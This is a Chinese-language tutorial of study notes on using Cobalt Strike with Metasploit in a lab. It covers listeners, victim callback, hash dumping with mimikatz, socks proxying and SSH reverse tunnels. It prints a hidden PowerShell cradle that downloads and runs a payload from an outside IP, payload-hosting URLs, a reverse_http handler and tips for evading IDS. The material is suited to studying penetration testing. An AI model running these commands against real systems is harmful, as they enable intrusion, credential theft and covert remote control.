Cobaltstrike常用功能

一、快捷工具栏

3、需要创建监听器，才能让靶机上线，连接我们公网服务端上去开启的帧监听端口，做任何操作

都是通过服务器的IP地址去连接靶机，去和靶机进行文件stage的一个传输和交互。这里推荐把cs

放到公网上边，比较方便让靶机上线。

4-6单个视图

11、payload分为stage和stageless(相当于php大马，拥有所有的功能，包括meterpreter,很大，不

需其他的管理器就能实现完全的交互，网络环境比较差的时候可以使用它，大并且容易查杀)

12、已淘汰

13、生成恶意Office宏攻击，嵌入恶意宏攻击。

14、建立web_delivery是在内存上执行恶意代码，不会再服务器上留下文件的。

查看进程：ps aux | grep teamserver

kali -9 进程  干掉进程

sudo yum install java-11-openjdk-devel(cs4.3版本java11环境)

sudo yum list installed | grep java（查看已安装java）

sudo alternatives --config java （切换环境）

java -version（查看版本）

export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which java))))

echo $JAVA_HOME     设置环境变量（此两条命令直接在命令行执行）

sudo lsof -i :50050     查看端口状态

./msg  用户名  信息（发送给指定用户）

二、创建监听器listener

点击Cobalt strike——监听器——add

获取靶机上线stager，任何靶机上线都是通过服务端

查看端口是否在线  netstat -ano |grep 8080

三、学习：cobaltrike实战演示1：

创建完监听器后，想让靶机上线（那就攻击靶机）

云服务器用作实验的话，如果安全组不需要特定要求，直接放通全部

靶机上线操作：

选择前边设置的监听器和方法（这里的方法我是用的是powershell）

选择文件保存位置，这里我保存到桌面为了方便（这个是windows10做的客户端）

之后需要再开启一个端口，让靶机可以下载这个文件，使用web-drive-by的host file，选择刚刚生

成的文件

复制下边内容

http://39.99.136.38:9090/download/file.ext

在靶机里边执行  （这使用的是windows7 64位操作系统）

此时靶机已上线

上线之后可以靶机进行一系列的控制

这里是默认60秒的心跳间隔（真实环境可以不修改，容易被ids查杀）

①设置时间间隔

②在beacon中  sleep  2亦可以设置

靶机想要下线就把进程（process）关掉，在这个界面退出会再次上线

shell ipconfig 命令

help 可以查看我们能执行的一些命令

重要模块

②转移③内存中获取密码④不建议开启（vps带宽较小，很卡）

screenshot截屏

在视图界面可以查看

亦可以端口扫描和查看进程

四、学习：cobaltrike实战演示2：

其他的监听器和attack进行一个主机上线，如下：

设置端口，监听器（同样如上执行，可以上线）

删除我们开启的东西

①mamager   web server

②attacks ——web-driver-by ——manager

这如果在设置的时候没有copy,这里也是可以copy的

想关掉，直接选中，点击kill

端口扫描完可做如下操作：（三个视图模式）

脚本可以github搜，选择一个路径导入cna，成功会显示ready（√）

五、学习：cobaltrike攻击流程：

拿root和system权限

选择监听器和利用脚本

自动打出去

两个用户是不一样的

①hashdump命令或者②右击——执行——hash（读取用户哈希值）或者③右键run mimikatz's

此时在任务管理器运行着powwershell.exe把它杀死了就没了（可以利用msf做进程迁移）

先右击exit和remove把靶机移除掉（新操作）（因为直接remove会在自动上线）

比较安全

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://35.12.32.156:9091/a'))"复制此代码到靶机去执行

此处是dvwa靶场

此时靶机又上线了

靶机上线方法：

①命令执行②文件上传，上传webshell(工具执行连接)，无报错有权限执行，靶机即可上线（如果

cs是在内网中的，确定靶机能够连到cs）

六、学习：cs和msf联动

1、cs联动msf之socks代理（访问内网或者无法直接访问的服务器就需要建立代理）

2、cs联动msf之外部监听器

3、练习

1、介绍：

cobalt strike(简称CS)及Metasploit(简称msf)各有所长，cs更适合作为稳控平台，msf更适用于与各

类内网信息搜集及漏洞利用。为了取各家之所长，我们进行联动。

meterpreter的功能十分强大，模块非常多，攻击，辅助，编码等等，cs进行团队合作，进行主机

的上线和smb的横向移动（内网管控平台）

环境搭建条件：

①cs客户端一台windows10操作系统，一台centos7操作系统（或者kali操作系统也行）

②一台云服务器作为cs服务器（公网上vps）

③一台windows7(可联网)，一台windows2012（不联网）

操作步骤：

①socks  端口（如 socks  1234）

可以在vps查看（netstat -ano|grep 1234）是否是监听状态

如何连接代理（代理是对服务端的，客户端只是连接服务器，所有的操作都是在服务端即vps操作

的）

复制上述命令转到msf中执行

此时整个msf就被代理到了1234端口，此时进行辅助端口扫描

非常慢

kali中操作

在文件中写入如下内容保存

此时还ping不了（ping在tcp/ip上一层（icmp）不能对ping代理转发，namp可以进行no ping 扫

描）

此时会很慢（因为走代理）

虚拟机——物理网卡——运营商交换机——路由——vps服务器（此时就可扫描重要端口，不全

扫）

结果如下：

2、学习：cs联动msf之外部监听器

①创建一个新的linstener

转移时会开

把system的sesion发给metetpreter

kali中

将cs服务器的session发送到cs客户端也就是meterpreter(kali这一端)

外网ping不通内网（即cs服务器无法通cs客户端）做代理转发

保存退出

重启生效（有隧道转发功能）

执行此命令就可代理转发

此时内网的8085端口和vps的8085端口就通了（去看拓扑图）

选择上线的主机——右键span转移——选择监听器——外部的http8085 

拿到meterpreter

3、实操：操作步骤：

这里是提权一下后的ssystem权限的用户

①在vps中    vi  /etc/ssh/sshd_config（sshd_config是服务端配置文件）

②AllowTcpForwarding yes

GatewayPorts yes

TCPKeepAlive yes

PasswordAuthentication   yes

③systemctl restart sshd.service或者systemctl restart sshd(这样才有隧道转发的功能)

④回到本地的 kali 中，通过 ssh 隧道做转发

创建ssh隧道常用的参数:

-C:压缩传输，提供传输速度

-f :将ssh传输转入后台执行，不占用当前的shell

-N:建立静默连接(建立了连接，但是看不到具体会话)

-g:允许远程主机连接本地用于转发的端口

-L:本地端口转发

-R:远程端口转发

-D:动态转发

-P指定ssh端口

⑤命令执行：ssh -C-f-N -g -R 0.0.0.0:8085:192.168.129.139:8085 root@119.xx.xx.xx -p 22

含义解释：通过 119.xx.xx.xx 机器把外部的 8085 端口上的流量转到本地192.168.129.139 的 8085

端口上，而本地的 8085 端口上跑的又的监听器，所以，最终才造成 meterpreter本地上线的效

果。

⑥netstat -anltup 查看正在工作的端口

⑦netstat -tulnp |grep 8085查看服务器是否开启8085端口

此处有错误可以查杀pid  kill  pid即可（ssh）

⑧创建一个新的监听器

⑨在kali中启用msfconsole，设置参数

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost  192.168.129.139

set lport 9999

show options

run

⑩ssh -C-f-N -g -R 0.0.0.0:8085:192.168.129.139:8085 root@119.xx.xx.xx -p 22

最好检查一下是否设置成功：netstat -anltup（没有问题做如下操作）

等待stage发送

此时拿到了meterpreter（这个不知道是抽了什么风，重启虚拟机之后，我搞了两次才出来，多次

尝试）比较卡，此时可以拿shell（如果显示乱码  chcp 65001）,进程迁移,exit退出

一、快捷工具栏

二、创建监听器listener

三、学习：cobaltrike实战演示1：

四、学习：cobaltrike实战演示2：

五、学习：cobaltrike攻击流程：

六、学习：cs和msf联动

1、介绍：

2、学习：cs联动msf之外部监听器

3、实操：操作步骤：

---